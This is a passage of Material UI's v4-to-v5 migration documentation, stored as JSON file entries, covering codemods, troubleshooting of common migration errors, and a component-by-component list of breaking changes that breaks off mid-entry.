necessary packages and ensured that your app still runs, you can safely remove the old `@material-ui/*` packages by running `npm uninstall @material-ui/*` or `yarn remove @material-ui/*`.\n\n:::success\nThe [preset-safe codemod](#preset-safe) (explained in more detail below) handles this automatically.\n:::\n\n## Fix CSS specificity (optional)\n\nIf you want to apply styles to components by importing a CSS file, you need to bump up the specificity to be able to target the correct components.\n\nConsider the following example:\n\n```js\nimport './style.css';\nimport Chip from '@mui/material/Chip';\n\nconst ChipWithGreenIcon = () => (\n  <Chip\n    classes={{ deleteIcon: 'green' }}\n    label=\"delete icon is green\"\n    onDelete={() => {}}\n  />\n);\n```\n\nIn this example, in order to correctly apply a particular style to the delete icon of `Chip`, one option is to increase the specificity of your CSS classes, as shown below:\n\n```css\n.MuiChip-root .green {\n  color: green;\n}\n```\n\nBy contrast, the following CSS snippet will not apply the style to the delete icon:\n\n```css\n.green {\n  color: green;\n}\n```\n\n## Run codemods\n\nThe following codemods will automatically adjust the bulk of your code to account for breaking changes in v5.\n\nMake sure that your application still runs without errors after running each codemod, and commit the changes before continuing to the next step.\n\n### preset-safe\n\nThis codemod contains most of the transformers that are necessary for migration. It should be only applied **once per folder.**\n\n```bash\nnpx @mui/codemod@latest v5.0.0/preset-safe <path>\n```\n\n:::info\nIf you want to run the transformers one by one, check out the [preset-safe codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#-preset-safe) for more details.\n:::\n\n### variant-prop\n\nThis codemod transforms the `<TextField/>`, `<FormControl/>`, and `<Select/>` components by applying `variant=\"standard\"` if no variant is defined—the default variant has changed from `\"standard\"` in v4 to `\"outlined\"` in v5.\n\n:::error\nYou should _not_ use this codemod if you have already defined `variant: \"outlined\"` as the default in the theme.\n:::\n\n```js\n// ❌ if you have a theme setup like this, don't run this codemod.\n// these default props can be removed later because `outlined` is the default value in v5\ncreateMuiTheme({\n  components: {\n    MuiTextField: {\n      defaultProps: {\n        variant: 'outlined',\n      },\n    },\n  },\n});\n```\n\nIf you want to keep `variant=\"standard\"` in your components, run this codemod or else configure the corresponding default theme props.\n\n```bash\nnpx @mui/codemod@latest v5.0.0/variant-prop <path>\n```\n\nFor more details, check out the [variant-prop codemod README](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#variant-prop).\n\n### link-underline-hover\n\nThis codemod transforms the `<Link />` component by applying `underline=\"hover\"` if there is no `underline` prop defined—the default `underline` has changed from `\"hover\"` in v4 to `\"always\"` in v5.\n\n:::error\nYou should _not_ use this codemod if you have already defined `underline: \"always\"` as the default in the theme.\n:::\n\n```js\n// if you have theme setup like this, ❌ don't run this codemod.\n// this default props can be removed later because `always` is the default value in v5\ncreateMuiTheme({\n  components: {\n    MuiLink: {\n      defaultProps: {\n        underline: 'always',\n      },\n    },\n  },\n});\n```\n\nIf you want to keep `underline=\"hover\"`, run this codemod or else configure the corresponding default theme props.\n\n```bash\nnpx @mui/codemod@latest v5.0.0/link-underline-hover <path>\n```\n\nFor more details, check out the [link-underline-hover codemod README](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#link-underline-hover).\n\n## Address breaking changes\n\nThe codemods handle many of the breaking changes, but others must be addressed manually.\n\nWhether or not you choose to use the codemods, you are now ready to move on to the first of two [breaking changes](/material-ui/migration/v5-style-changes/) documents.\n"
  },
  {
    "path": "docs/data/material/migration/migration-v4/troubleshooting.md",
    "content": "# Troubleshooting\n\n<p class=\"description\">This document covers known issues and common problems encountered when migrating from Material UI v4 to v5.</p>\n\n## Material UI v5 migration\n\n1. [Getting started](/material-ui/migration/migration-v4/)\n2. [Breaking changes part one: style and theme](/material-ui/migration/v5-style-changes/)\n3. [Breaking changes part two: components](/material-ui/migration/v5-component-changes/)\n4. [Migrating from JSS](/material-ui/migration/migrating-from-jss/)\n5. Troubleshooting 👈 _you are here_\n\n## Styles broken after migrating to v5\n\nThere are two reasons why component styles may be broken after you've completed all steps in the migration process.\n\nFirst, check if you have configured the `StyledEngineProvider` correctly, as shown in the [Style library](/material-ui/migration/v5-style-changes/#style-library) section.\n\nIf the `StyledEngineProvider` is already used at the top of your application and the styles are still broken, it may be the case that you still have `@material-ui/core` in your application.\n\nThis could be caused by other dependencies in the app that still rely on Material UI v4.\n\nTo check this, run `npm ls @material-ui/core` (or `yarn why @material-ui/core`).\nIf your project contains such dependencies, you will see a list that looks something like this:\n\n```bash\n$ npm ls @material-ui/core\nproject@0.1.0 /path/to/project\n└─┬  @mui/x-data-grid@4.0.0\n  └── @material-ui/core@4.12.3\n```\n\nThe output above indicates that `@material-ui/core` is a dependency of `@mui/x-data-grid`.\n\nIn this specific example, you would need to bump the version of `@mui/x-data-grid` to [v5](https://www.npmjs.com/package/@mui/x-data-grid) so that it depends on `@mui/material` instead.\n\n## Storybook and Emotion\n\nIf your project uses Storybook v6.x, you will need to update the `.storybook/main.js` webpack config to use the most recent version of Emotion:\n\n```js\n// .storybook/main.js\n\nconst path = require('path');\nconst toPath = (filePath) => path.join(process.cwd(), filePath);\n\nmodule.exports = {\n  webpackFinal: async (config) => {\n    return {\n      ...config,\n      resolve: {\n        ...config.resolve,\n        alias: {\n          ...config.resolve.alias,\n          '@emotion/core': toPath('node_modules/@emotion/react'),\n          'emotion-theming': toPath('node_modules/@emotion/react'),\n        },\n      },\n    };\n  },\n};\n```\n\nNext, update `.storybook/preview.js` to prevent Storybook's Docs tab from displaying an empty page:\n\n```js\n// .storybook/preview.js\n\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport { ThemeProvider as Emotion10ThemeProvider } from 'emotion-theming';\n\nconst defaultTheme = createTheme(); // or your custom theme\n\nconst withThemeProvider = (Story, context) => {\n  return (\n    <Emotion10ThemeProvider theme={defaultTheme}>\n      <ThemeProvider theme={defaultTheme}>\n        <Story {...context} />\n      </ThemeProvider>\n    </Emotion10ThemeProvider>\n  );\n};\n\nexport const decorators = [withThemeProvider];\n\n// ...other storybook exports\n```\n\n:::info\n\nThis solution has been tested on the following versions:\n\n```json\n{\n  \"@storybook/react\": \"6.3.8\",\n  \"@storybook/addon-docs\": \"6.3.8\",\n  \"@emotion/react\": \"11.4.1\",\n  \"@emotion/styled\": \"11.3.0\",\n  \"@mui/material\": \"5.0.2\"\n}\n```\n\nNote that this is a workaround that may not be suitable for your situation if you are using different versions.\n\nFor more details, checkout these GitHub issues:\n\n- https://github.com/storybookjs/storybook/issues/16099\n- https://github.com/mui/material-ui/issues/24282#issuecomment-796755133\n\n  :::\n\n## Cannot read property scrollTop of null\n\nThis error comes from `Fade`, `Grow`, `Slide`, `Zoom` components due to a missing DOM node.\n\nMake sure that the children forward the `ref` to the DOM for custom components:\n\n```jsx\n// Ex. 1-1 ❌ This will cause an error because the Fragment is not a DOM node:\n<Fade in>\n  <React.Fragment>\n    <CustomComponent />\n  </React.Fragment>\n</Fade>\n```\n\n```jsx\n// Ex. 1-2 ✅ Add a DOM node such as this div:\n<Fade in>\n  <div>\n    <CustomComponent />\n  </div>\n</Fade>\n```\n\n```jsx\n// Ex. 2-1 ❌ This will cause an error because `CustomComponent` does not forward `ref` to the DOM:\nfunction CustomComponent() {\n  return <div>...</div>;\n}\n\n<Fade in>\n  <CustomComponent />\n</Fade>;\n```\n\n```jsx\n// Ex. 2-2 ✅ Add `React.forwardRef` to forward `ref` to the DOM:\nconst CustomComponent = React.forwardRef(function CustomComponent(props, ref) {\n  return (\n    <div ref={ref}>\n      ...\n    </div>\n  )\n})\n\n<Fade in>\n  <CustomComponent />\n</Fade>\n```\n\nFor more details, checkout [this issue](https://github.com/mui/material-ui/issues/27154) on GitHub.\n\n## [Types] Property \"palette\", \"spacing\" does not exist on type 'DefaultTheme'\n\nThis error arises because `makeStyles` is now exported from the `@mui/styles` package, which does not know about `Theme` in the core package.\n\nTo fix this, you need to augment the `DefaultTheme` (empty object) in `@mui/styles` with `Theme` from the core.\n\nRead more about module augmentation in [the official TypeScript docs](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation).\n\n### TypeScript\n\nAdd this snippet to your theme file:\n\n```ts\n// it could be your App.tsx file or theme file that is included in your tsconfig.json\nimport { Theme } from '@mui/material/styles';\n\ndeclare module '@mui/styles/defaultTheme' {\n  // eslint-disable-next-line @typescript-eslint/no-empty-interface (remove this line if you don't have the rule enabled)\n  interface DefaultTheme extends Theme {}\n}\n```\n\n### JavaScript\n\nIf you are using an IDE like VS Code which is able to infer types from a `d.ts` file, create `index.d.ts` in your `src` folder and add the following lines of code:\n\n```js\n// index.d.ts\ndeclare module '@mui/private-theming' {\n  import type { Theme } from '@mui/material/styles';\n\n  interface DefaultTheme extends Theme {}\n}\n```\n\n## [Jest] SyntaxError: Unexpected token 'export'\n\n`@mui/material/colors/red` is considered private since v1.0.0.\nTo fix this error, you must replace the import.\nFor more details, see [this GitHub issue](https://github.com/mui/material-ui/issues/27296).\n\nWe recommend using this codemod to fix all imports in your project:\n\n```bash\nnpx @mui/codemod@latest v5.0.0/optimal-imports <path>\n```\n\nYou can fix it manually like this:\n\n```diff\n-import red from '@mui/material/colors/red';\n+import { red } from '@mui/material/colors';\n```\n\n## makeStyles - TypeError: Cannot read property 'drawer' of undefined\n\nThis error occurs when calling `useStyles` or `withStyles` outside of the scope of `<ThemeProvider>`, as in the following example:\n\n```js\nimport * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport makeStyles from '@mui/styles/makeStyles';\nimport Card from '@mui/material/Card';\nimport CssBaseline from '@mui/material/CssBaseline';\n\nconst useStyles = makeStyles((theme) => ({\n  root: {\n    display: 'flex',\n    backgroundColor: theme.palette.primary.main,\n    color: theme.palette.common.white,\n  },\n}));\n\nconst theme = createTheme();\n\nfunction App() {\n  const classes = useStyles(); // ❌ called outside of ThemeProvider\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      <Card className={classes.root}>...</Card>\n    </ThemeProvider>\n  );\n}\n\nexport default App;\n```\n\nYou can fix this by moving `useStyles` inside another component so that it is called under `<ThemeProvider>`:\n\n```js\n// ...imports\n\nfunction AppContent(props) {\n  const classes = useStyles(); // ✅ This is safe because it is called inside ThemeProvider\n  return <Card className={classes.root}>...</Card>;\n}\n\nfunction App(props) {\n  return (\n    <ThemeProvider theme={theme}>\n      <CssBaseline />\n      <AppContent {...props} />\n    </ThemeProvider>\n  );\n}\n\nexport default App;\n```\n\n## TypeError: Cannot read properties of undefined (reading 'pxToRem')\n\nThis error results from trying to access an empty theme.\n\nMake sure that you have addressed the following issues:\n\n1. `styled` should only be imported from `@mui/material/styles` (if you are not using the standalone `@mui/system`):\n\n```js\nimport { styled } from '@mui/material/styles';\n```\n\n2. `useStyles` cannot be called outside of `<ThemeProvider>`.\n   To fix this problem, follow [the instructions in this section](#makestyles-typeerror-cannot-read-property-drawer-of-undefined).\n\nFor more details, see [this GitHub issue](https://github.com/mui/material-ui/issues/28496).\n\n## Still having problems?\n\nIf you're encountering a problem not covered here, please [create a GitHub issue](https://github.com/mui/material-ui/issues/new/choose) with this title format: **[Migration] Summary of your issue**.\n"
  },
  {
    "path": "docs/data/material/migration/migration-v4/v5-component-changes.md",
    "content": "# Breaking changes in v5, part two: core components\n\n<p class=\"description\">This is a reference guide to the breaking changes introduced in Material UI v5, and how to migrating from v4. This part covers changes to components.</p>\n\n## Material UI v5 migration\n\n1. [Getting started](/material-ui/migration/migration-v4/)\n2. [Breaking changes part one: style and theme](/material-ui/migration/v5-style-changes/)\n3. Breaking changes part two: components 👈 _you are here_\n4. [Migrating from JSS](/material-ui/migration/migrating-from-jss/)\n5. [Troubleshooting](/material-ui/migration/troubleshooting/)\n\n## Breaking changes, part two\n\nMaterial UI v5 introduces a number of breaking changes from v4.\nMany of these changes can be resolved automatically using [the codemods](/material-ui/migration/migration-v4/#run-codemods) described in the [main migration guide](/material-ui/migration/migration-v4/).\n\nThe following document lists all breaking changes related to components in v5 and how to address them.\n\nIf you haven't already, please be sure to review [Breaking changes in v5 part one: styles and themes](/material-ui/migration/v5-style-changes/) to continue the migration process.\n\n:::warning\nBreaking changes that are handled by the codemods are denoted by a ✅ emoji in the table of contents on the right side of the screen.\n\nIf you have already followed the instructions in the main migration guide and run the codemods, then you should not need to take any further action on these items.\n\nAll other changes must be handled manually.\n:::\n\nAs the core components use Emotion as their style engine, the props used by Emotion are not intercepted. The prop `as` in the following code snippet will not be propagated to `SomeOtherComponent`.\n\n```jsx\n<MuiComponent component={SomeOtherComponent} as=\"button\" />\n```\n\n## AccordionSummary\n\n### Rename `expandIcon` to `expandIconWrapper`\n\nThis change was made to make it clearer that the element is a wrapper around the icon, not the icon itself.\n\nUpdate the CSS class name and the theme overrides accordingly.\n\n```diff\n-'.MuiAccordionSummary-expandIcon': {\n+'.MuiAccordionSummary-expandIconWrapper': {\n```\n\n```diff\n createTheme({\n   components: {\n     MuiAccordionSummary: {\n       styleOverrides: {\n-        expandIcon: {\n+        expandIconWrapper: {\n          // ...\n         },\n       },\n     },\n   },\n });\n```\n\n## AppBar\n\n### Fix z-index issues\n\nRemove z-index when position static and relative. This avoids the creation of a stacking context and rendering issues.\n\n### Replace color prop for dark mode\n\nThe `color` prop has no longer any effect in dark mode. The app bar uses the background color required by the elevation to follow the [Material Design guidelines](https://m2.material.io/design/color/dark-theme.html). Use `enableColorOnDark` to restore the behavior of v4.\n\n```jsx\n<AppBar enableColorOnDark />\n```\n\n## Alert\n\n### ✅ Update import\n\nMove the component from the lab to the core. The component is now stable.\n\n```diff\n-import Alert from '@mui/lab/Alert';\n-import AlertTitle from '@mui/lab/AlertTitle';\n+import Alert from '@mui/material/Alert';\n+import AlertTitle from '@mui/material/AlertTitle';\n```\n\n## Autocomplete\n\n### ✅ Update import\n\nMove the component from the lab to the core. The component is now stable.\n\n```diff\n-import Autocomplete from '@mui/lab/Autocomplete';\n-import useAutocomplete  from '@mui/lab/useAutocomplete';\n+import Autocomplete from '@mui/material/Autocomplete';\n+import useAutocomplete from '@mui/material/useAutocomplete';\n```\n\n### Remove debug prop\n\nRemove `debug` prop. There are a couple of simpler alternatives: `open={true}`, Chrome devtools [\"Emulate focused\"](https://x.com/sulco/status/1305841873945272321), or React devtools prop setter.\n\n### Update `renderOption`\n\n`renderOption` should now return the full DOM structure of the option.\nIt makes customizations easier. You can recover from the change with:\n\n```diff\n <Autocomplete\n-  renderOption={(option, { selected }) => (\n-    <React.Fragment>\n+  renderOption={(props, option, { selected }) => (\n+    <li {...props}>\n       <Checkbox\n         icon={icon}\n         checkedIcon={checkedIcon}\n         style={{ marginRight: 8 }}\n         checked={selected}\n       />\n       {option.title}\n-    </React.Fragment>\n+    </li>\n   )}\n />\n```\n\n### ✅ Rename `closeIcon` to `clearIcon`\n\nRename `closeIcon` prop to `clearIcon` to avoid confusion.\n\n```diff\n-<Autocomplete closeIcon={defaultClearIcon} />\n+<Autocomplete clearIcon={defaultClearIcon} />\n```\n\n### Rename reason arguments\n\nThe following values of the reason argument in `onChange` and `onClose` were renamed for consistency:\n\n1. `create-option` to `createOption`\n2. `select-option` to `selectOption`\n3. `remove-option` to `removeOption`\n\nChange the CSS rules that use `[data-focus=\"true\"]` to use `.Mui-focused`. The `data-focus` attribute is not set on the focused option anymore; instead, global class names are used.\n\n```diff\n-'.MuiAutocomplete-option[data-focus=\"true\"]': {\n+'.MuiAutocomplete-option.Mui-focused': {\n```\n\n### ✅ Rename getOptionSelected\n\nRename `getOptionSelected` to `isOptionEqualToValue` to better describe its purpose.\n\n```diff\n <Autocomplete\n-  getOptionSelected={(option, value) => option.title === value.title}\n+  isOptionEqualToValue={(option, value) => option.title === value.title}\n```\n\n## Avatar\n\n### ✅ Rename circle\n\nRename `circle` to `circular` for consistency:\n\n```diff\n-<Avatar variant=\"circle\">\n-<Avatar classes={{ circle: 'className' }}>\n+<Avatar variant=\"circular\">\n+<Avatar classes={{ circular: 'className' }}>\n```\n\nSince `circular` is the default value, the variant prop can be deleted:\n\n```diff\n-<Avatar variant=\"circle\">\n+<Avatar>\n```\n\n### ✅ Update AvatarGroup import\n\nMove the AvatarGroup from the lab to the core.\n\n```diff\n-import AvatarGroup from '@mui/lab/AvatarGroup';\n+import AvatarGroup from '@mui/material/AvatarGroup';\n```\n\n## Badge\n\n### ✅ Rename circle and rectangle\n\nRename `circle` to `circular` and `rectangle` to `rectangular` for consistency.\n\n```diff\n-<Badge overlap=\"circle\">\n-<Badge overlap=\"rectangle\">\n+<Badge overlap=\"circular\">\n+<Badge overlap=\"rectangular\">\n```\n\n```diff\n <Badge classes={{\n-  anchorOriginTopRightRectangle: 'className',\n-  anchorOriginBottomRightRectangle: 'className',\n-  anchorOriginTopLeftRectangle: 'className',\n-  anchorOriginBottomLeftRectangle: 'className',\n-  anchorOriginTopRightCircle: 'className',\n-  anchorOriginBottomRightCircle: 'className',\n-  anchorOriginTopLeftCircle: 'className',\n+  anchorOriginTopRightRectangular: 'className',\n+  anchorOriginBottomRightRectangular: 'className',\n+  anchorOriginTopLeftRectangular: 'className',\n+  anchorOriginBottomLeftRectangular: 'className',\n+  anchorOriginTopRightCircular: 'className',\n+  anchorOriginBottomRightCircular: 'className',\n+  anchorOriginTopLeftCircular: 'className',\n }}>\n```\n\n## BottomNavigation\n\n### Update event type (TypeScript)\n\nThe `event` in `onChange` is now typed as a `React.SyntheticEvent` instead of a `React.ChangeEvent`.\n\n```diff\n-<BottomNavigation onChange={(event: React.ChangeEvent<{}>) => {}} />\n+<BottomNavigation onChange={(event: React.SyntheticEvent) => {}} />\n```\n\n## BottomNavigationAction\n\n### Remove span and wrapper\n\nRemove the `span` element that wraps the children.\nRemove the `wrapper` classKey too.\n\nYou can find out more details about this change in [this GitHub pull request](https://github.com/mui/material-ui/pull/26923).\n\n```diff\n <button class=\"MuiBottomNavigationAction-root\">\n-  <span class=\"MuiBottomNavigationAction-wrapper\">\n     {icon}\n     <span class=\"MuiBottomNavigationAction-label\">\n       {label}\n     </span>\n-  </span>\n </button>\n```\n\n## Box\n\n### ✅ Update borderRadius prop value\n\nThe `borderRadius` system prop value transformation has been changed.\n\nIf it receives a number, it multiplies this value with the `theme.shape.borderRadius` value.\n\nUse a string to provide an explicit px value.\n\n```diff\n-<Box borderRadius=\"borderRadius\">\n+<Box borderRadius={1}>\n```\n\n```diff\n-<Box borderRadius={16}>\n+<Box borderRadius=\"16px\">\n```\n\n### ✅ Apply sx API\n\nThe Box system props have an optional alternative API in v5, using the `sx` prop.\n\nCheck out MUI System docs to learn more about [the tradeoffs of this API](/system/getting-started/usage/#api-tradeoff).\n\n```jsx\n<Box border=\"1px dashed grey\" p={[2, 3, 4]} m={2}>\n<Box sx={{ border: \"1px dashed grey\", p: [2, 3, 4], m: 2 }}>\n```\n\n### ✅ Rename CSS properties\n\nThe following properties have been renamed because they are considered deprecated CSS properties by the CSS specification:\n\n1. `gridGap` to `gap`\n2. `gridColumnGap` to `columnGap`\n3. `gridRowGap` to `rowGap`\n\n```diff\n-<Box gridGap={1}>\n-<Box gridColumnGap={2}>\n-<Box gridRowGap={3}>\n+<Box gap={1}>\n+<Box columnGap={2}>\n+<Box rowGap={3}>\n```\n\n:::info\nThe system grid function was not documented in v4.\n:::\n\n### Remove clone prop\n\nThe `clone` prop was removed because its behavior can be obtained by applying the `sx` prop directly to the child if it is a Material UI component.\n\n```diff\n-<Box sx={{ border: '1px dashed grey' }} clone>\n-  <Button>Save</Button>\n-</Box>\n+<Button sx={{ border: '1px dashed grey' }}>Save</Button>\n```\n\n### Replace render prop with `sx`\n\nThe ability to pass a render prop was removed because its behavior can be obtained by applying the `sx` prop directly to the child if it is a Material UI component.\n\n```diff\n-<Box sx={{ border: '1px dashed grey' }}>\n-  {(props) => <Button {...props}>Save</Button>}\n-</Box>\n+<Button sx={{ border: '1px dashed grey' }}>Save</Button>\n```\n\nFor non-Material UI components, use the `component` prop.\n\n```diff\n-<Box sx={{ border: '1px dashed grey' }}>\n-  {(props) => <button {...props}>Save</button>}\n-</Box>\n+<Box component=\"button\" sx={{ border: '1px dashed grey' }}>Save</Box>\n```\n\n## Button\n\n### ✅ Remove default color prop\n\nThe button `color` prop is now \"primary\" by default, and \"default\" has been removed.\nThis makes the button closer to the Material Design guidelines and simplifies the API.\n\n```diff\n-<Button color=\"default\">\n+<Button>\n```\n\n:::info\nIf you prefer to use the `default` color in v4, take a look at this [CodeSandbox demo](https://codesandbox.io/p/sandbox/mimic-v4-button-default-color-bklx8?file=/src/Demo.tsx) to see how to make it work in v5.\n:::\n\n### Remove span and label\n\nThe `span` element that wraps children has been removed.\nThe `label` classKey is also removed.\n\nYou can find out more details about this change in [this GitHub pull request](https://github.com/mui/material-ui/pull/26666), it used to be necessary for iOS.\n\n```diff\n <button class=\"MuiButton-root\">\n-  <span class=\"MuiButton-label\">\n     children\n-  </span>\n </button>\n```\n\n## Chip\n\n### ✅ Rename default to filled\n\nRename `default` variant to `filled` for consistency.\n\nSince `filled` is the default value, the variant prop can be deleted:\n\n```diff\n-<Chip variant=\"default\">\n+<Chip>\n```\n\n## Checkbox\n\n### Set to \"primary\" by default\n\nThe checkbox color prop is now \"primary\" by default.\nTo continue using the \"secondary\" color, you must explicitly indicate `secondary`.\nThis brings the checkbox closer to the Material Design guidelines.\n\n```diff\n-<Checkbox />\n+<Checkbox color=\"secondary\" />\n```\n\n### Update CSS class names\n\nThe component doesn't have `.MuiIconButton-root` and `.MuiIconButton-label` class names anymore.\n\nTarget `.MuiButtonBase-root` instead.\n\n```diff\n-<span class=\"MuiIconButton-root MuiButtonBase-root MuiCheckbox-root PrivateSwitchBase-root\">\n-  <span class=\"MuiIconButton-label\">\n-    <input class=\"PrivateSwitchBase-input\">\n+<span class=\"MuiButtonBase-root MuiCheckbox-root PrivateSwitchBase-root\">\n+  <span class=\"PrivateSwitchBase-input\">\n```\n\n## CircularProgress\n\n### ✅ Rename static to determinate\n\nThe `static` variant has been renamed to `determinate`, and the previous appearance of `determinate` has been replaced by that of `static`.\n\nThis was an exception to Material Design, and was removed from the specification.\n\n```diff\n-<CircularProgress variant=\"static\" classes={{ static: 'className' }} />\n+<CircularProgress variant=\"determinate\" classes={{ determinate: 'className' }} />\n```\n\n:::error\nIf you had previously customized `determinate`, then your customizations are most likely no longer valid.\nPlease remove them.\n:::\n\n## Collapse\n\n### ✅ Rename collapsedHeight prop\n\nThe `collapsedHeight` prop was renamed `collapsedSize` to support the horizontal direction.\n\n```diff\n-<Collapse collapsedHeight={40}>\n+<Collapse collapsedSize={40}>\n```\n\nThe `classes.container` key was changed to match the convention of the other components.\n\n```diff\n-<Collapse classes={{ container: 'collapse' }}>\n+<Collapse classes={{ root: 'collapse' }}>\n```\n\n## CssBaseline\n\n### Update styled-engine\n\nThe component was migrated to use the `@mui/styled-engine` (`emotion` or `styled-components`) instead of `jss`.\n\nYou should remove the `@global` key when defining the style overrides for it.\nYou could also start using the CSS template syntax over the JavaScript object syntax.\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiCssBaseline: {\n-      styleOverrides: {\n-        '@global': {\n-          html: {\n-            WebkitFontSmoothing: 'auto',\n-          },\n-        },\n-      },\n+      styleOverrides: `\n+        html {\n+          -webkit-font-smoothing: auto;\n+        }\n+      `\n     },\n   },\n });\n```\n\n### Update body font size\n\nThe `body` font size has changed from `theme.typography.body2` (`0.875rem`) to `theme.typography.body1` (`1rem`).\nTo return to the previous size, you can override it in the theme:\n\n```js\nconst theme = createMuiTheme({\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: {\n        body: {\n          fontSize: '0.875rem',\n          lineHeight: 1.43,\n          letterSpacing: '0.01071em',\n        },\n      },\n    },\n  },\n});\n```\n\n## Dialog\n\n### ✅ Update transition props\n\nThe `on*` transition props were removed.\nUse `TransitionProps` instead.\n\n```diff\n  <Dialog\n-  onEnter={onEnter}\n-  onEntered={onEntered}\n-  onEntering={onEntering}\n-  onExit={onExit}\n-  onExited={onExited}\n-  onExiting={onExiting}\n+  TransitionProps={{\n+    onEnter,\n+    onEntered,\n+    onEntering,\n+    onExit,\n+    onExited,\n+    onExiting,\n+  }}\n  >\n```\n\n### ✅ Remove disableBackdropClick prop\n\nRemove the `disableBackdropClick` prop because it is redundant.\n\nIgnore close events from `onClose` when `reason === 'backdropClick'` instead.\n\n```diff\n  <Dialog\n-  disableBackdropClick\n-  onClose={handleClose}\n+  onClose={(event, reason) => {\n+    if (reason !== 'backdropClick') {\n+      handleClose(event, reason);\n+    }\n+  }}\n  />\n```\n\n### Remove withMobileDialog component\n\nRemove the `withMobileDialog` higher-order component.\n\n:::warning\nThis is handled in the [preset-safe codemod](/material-ui/migration/migration-v4/#preset-safe) by applying hard-coded function to prevent application crash, but further fixes are required.\n:::\n\nThe hook API allows a simpler and more flexible solution:\n\n```diff\n-import withMobileDialog from '@mui/material/withMobileDialog';\n+import { useTheme, useMediaQuery } from '@mui/material';\n\n function ResponsiveDialog(props) {\n-  const { fullScreen } = props;\n+  const theme = useTheme();\n+  const fullScreen = useMediaQuery(theme.breakpoints.down('sm'));\n   const [open, setOpen] = React.useState(false);\n\n // ...\n\n-export default withMobileDialog()(ResponsiveDialog);\n+export default ResponsiveDialog;\n```\n\n### ✅ Remove disableTypography prop\n\nFlatten DialogTitle DOM structure and remove the `disableTypography` prop.\n\n```diff\n-<DialogTitle disableTypography>\n-  <Typography variant=\"h4\" component=\"h2\">\n+<DialogTitle>\n+  <Typography variant=\"h4\" component=\"span\">\n      My header\n   </Typography>\n```\n\n## Divider\n\n### Replace background-color with border-color\n\nUse `border-color` instead of `background-color`.\nThis prevents inconsistent height on scaled screens.\n\nIf you have customized the color of the border, you will need to update the CSS property override:\n\n```diff\n .MuiDivider-root {\n-  background-color: #f00;\n+  border-color: #f00;\n }\n```\n\n### Support \"middle\" variant with \"vertical\" orientation\n\nIn v4, using `orientation=\"vertical\"` and `variant=\"middle\"` was adding a left and right margins of `16px` in the component.\nIn the v5, to avoid fixed spacing on the component, this margin was removed.\n\n:::info\nIf you want to use the previous margin values, this change can be made in your theme with the following code. See the example on [CodeSandbox demo](https://codesandbox.io/p/sandbox/v5-migration-vertical-alignment-middle-divider-45vepj?file=/src/index.tsx).\n:::\n\n```diff\n const theme = createTheme({\n  components: {\n   MuiDivider: {\n+     styleOverrides: {\n+       root: ({ ownerState, theme }) => ({\n+         ...(ownerState.orientation === 'vertical' && ownerState.variant === 'middle' && {\n+           marginLeft: theme.spacing(2),\n+           marginRight: theme.spacing(2),\n+         }),\n+       })\n+     }\n    },\n  },\n });\n```\n\n## ExpansionPanel\n\n### ✅ Rename components\n\nRename the `ExpansionPanel` components to `Accordion` to use a more common naming convention:\n\n```diff\n-import ExpansionPanel from '@mui/material/ExpansionPanel';\n-import ExpansionPanelSummary from '@mui/material/ExpansionPanelSummary';\n-import ExpansionPanelDetails from '@mui/material/ExpansionPanelDetails';\n-import ExpansionPanelActions from '@mui/material/ExpansionPanelActions';\n+import Accordion from '@mui/material/Accordion';\n+import AccordionSummary from '@mui/material/AccordionSummary';\n+import AccordionDetails from '@mui/material/AccordionDetails';\n+import AccordionActions from '@mui/material/AccordionActions';\n\n-<ExpansionPanel>\n+<Accordion>\n-  <ExpansionPanelSummary>\n+  <AccordionSummary>\n      <Typography>Location</Typography>\n      <Typography>Select trip destination</Typography>\n-  </ExpansionPanelSummary>\n+  </AccordionSummary>\n-  <ExpansionPanelDetails>\n+  <AccordionDetails>\n      <Chip label=\"Barbados\" onDelete={() => {}} />\n      <Typography variant=\"caption\">Select your destination of choice</Typography>\n-  </ExpansionPanelDetails>\n+  </AccordionDetails>\n    <Divider />\n-  <ExpansionPanelActions>\n+  <AccordionActions>\n      <Button size=\"small\">Cancel</Button>\n      <Button size=\"small\">Save</Button>\n-  </ExpansionPanelActions>\n+  </AccordionActions>\n-</ExpansionPanel>\n+</Accordion>\n```\n\n### Update event type (TypeScript)\n\nThe `event` in `onChange` is now typed as a `React.SyntheticEvent` instead of a `React.ChangeEvent`.\n\n```diff\n-<Accordion onChange={(event: React.ChangeEvent<{}>, expanded: boolean) => {}} />\n+<Accordion onChange={(event: React.SyntheticEvent, expanded: boolean) => {}} />\n```\n\n## ExpansionPanelDetails\n\n### Remove display: flex\n\nRemove `display: flex` from `AccordionDetails` (formerly `ExpansionPanelDetails`) as it was too opinionated—most developers expect `display: block`.\n\n## ExpansionPanelSummary\n\n### Rename focused to focusVisible\n\nRename `focused` to `focusVisible` for consistency:\n\n```diff\n <AccordionSummary\n   classes={{\n-    focused: 'custom-focus-visible-classname',\n+    focusVisible: 'custom-focus-visible-classname',\n   }}\n />\n```\n\n### Remove IconButtonProps prop\n\nRemove `IconButtonProps` prop from `AccordionSummary` (formerly `ExpansionPanelSummary`).\n\nThe component renders a `<div>` element instead of an `IconButton`, so the prop is no longer necessary.\n\n## Fab\n\n### ✅ Rename round to circular\n\n```diff\n-<Fab variant=\"round\">\n+<Fab variant=\"circular\">\n```\n\n### Remove span and label\n\nThe `span` element that wraps children has been removed.\nThe `label` classKey is also removed.\n\nYou can find out more details about this change in [this GitHub pull request](https://github.com/mui/material-ui/pull/27112), it used to be necessary for iOS.\n\n```diff\n <button class=\"MuiFab-root\">\n-  <span class=\"MuiFab-label\">\n     {children}\n-  </span>\n </button>\n```\n\n## FormControl\n\n### ✅ Update default variant\n\nChange the default variant from `standard` to `outlined`.\n\n`standard` has been removed from the Material Design guidelines.\n\n:::success\nThis is handled in [variant-prop codemod](/material-ui/migration/migration-v4/#variant-prop)—read the details before running this codemod.\n:::\n\n```diff\n-<FormControl value=\"Standard\" />\n-<FormControl value=\"Outlined\" variant=\"outlined\" />\n+<FormControl value=\"Standard\" variant=\"standard\" />\n+<FormControl value=\"Outlined\" />\n```\n\n## FormControlLabel\n\n### Add required label prop\n\nThe 